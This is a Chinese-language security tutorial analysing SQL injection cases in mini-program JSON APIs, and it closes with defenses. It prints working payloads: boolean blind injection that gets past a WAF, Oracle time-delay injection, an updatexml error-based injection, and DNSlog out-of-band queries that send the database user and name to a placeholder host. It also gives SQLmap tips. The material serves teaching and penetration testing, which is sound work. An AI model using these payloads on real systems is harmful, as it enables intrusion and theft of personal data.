edu-SQL注入案例分享
字数 1441 2025-08-06 12:21:05
SQL注入实战案例分析与防御教学
0x00 前言
本教学文档基于多个真实小程序SQL注入案例,详细分析注入原理、检测方法和防御措施。这些案例均在小程序JSON接口中发现,主要由于接口权限控制不足和SQL语句处理不当导致。
0x01 案例一:布尔盲注绕过WAF
漏洞发现过程
- 通过Burp Suite和Proxifier抓取小程序数据包
- 发现API参数遍历可获取敏感信息(姓名、身份证、学号等)
- 单引号测试触发SQL报错
- 确认
order_flow_status参数存在注入点
WAF绕过技术
系统禁用了以下函数:
- select, ascii, substr, sleep, waitfor delay, mid, left, concat等
可用函数:
- database(), length(), exp(), ord(), right()
布尔盲注技术详解
1. 判断注入点
exp(0)=1 -- 返回true
exp(0)=2 -- 返回false
2. 数据库版本探测
length(version())=10 -- 判断版本号长度
right(version(),1)=1 -- 逐个字符判断
3. 数据库名探测
length(database())=12 -- 判断数据库名长度
ord(right(database(),1))=97 -- 通过ASCII值判断字符
关键函数说明
exp(): 指数函数,用于构造布尔条件ord(): 返回字符的ASCII值right(): 返回字符串右侧指定数量的字符
0x02 案例二:Oracle数据库注入
漏洞特征
- 输入
27551 or 1=1返回所有数据 - 缺少from关键字提示Oracle环境
注入技术
1. 延时注入
and DBMS_PIPE.RECEIVE_MESSAGE('ICQ',5)=1 -- 延时5秒
2. DNSlog带外注入
-- 查询用户名
and (select utl_inaddr.get_host_address((select user from dual)||'.dnslog地址') from dual)is not null
-- 查询库名
and (select utl_inaddr.get_host_address((select name from v$database)||'.dnslog地址') from dual)is not null
Oracle特有函数
DBMS_PIPE.RECEIVE_MESSAGE: 用于延时注入utl_inaddr.get_host_address: 用于DNS带外查询
0x03 常规注入技术
报错注入
'and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) -- q
SQLmap使用技巧
- 小程序抓包需在host后加443端口
- 确保https协议正确处理
0x04 小程序渗透测试方法论
1. 测试流程
- 点击所有功能,逐个分析数据包
- 重点检查敏感信息泄露和未授权接口
- 参数逐个测试,特别是:
- 用户名参数
- ID参数
- 分页功能参数
2. 测试优先级
- 手工测试优先,确认基本注入点
- 确认无WAF后再使用SQLmap
- 文件上传功能检查静态目录上传
- 平行越权常伴随SQL注入
0x05 防御措施
1. 输入验证
- 使用白名单验证所有输入
- 对特殊字符进行转义或过滤
2. 权限控制
- 实施最小权限原则
- 接口添加严格的权限验证
3. 安全编码
- 使用参数化查询或预处理语句
- 避免直接拼接SQL语句
4. WAF配置
- 部署Web应用防火墙
- 定期更新防护规则
5. 日志监控
- 记录所有数据库操作
- 监控异常查询模式
附录:SQL注入常用函数速查表
| 函数 | 描述 | 用途 |
|---|---|---|
| database() | 当前数据库名 | 信息收集 |
| version() | 数据库版本 | 信息收集 |
| user() | 当前用户名 | 权限提升 |
| load_file() | 读取文件 | 文件读取 |
| into outfile | 写入文件 | 文件写入 |
| concat() | 字符串连接 | 数据提取 |
| substr() | 截取字符串 | 数据提取 |
| ascii() | ASCII值转换 | 盲注 |
| sleep() | 延时函数 | 时间盲注 |
| count() | 计数 | 判断条件 |
通过本教学文档,安全人员可以全面了解小程序中SQL注入的检测方法和防御策略,企业开发人员可以学习如何避免此类漏洞。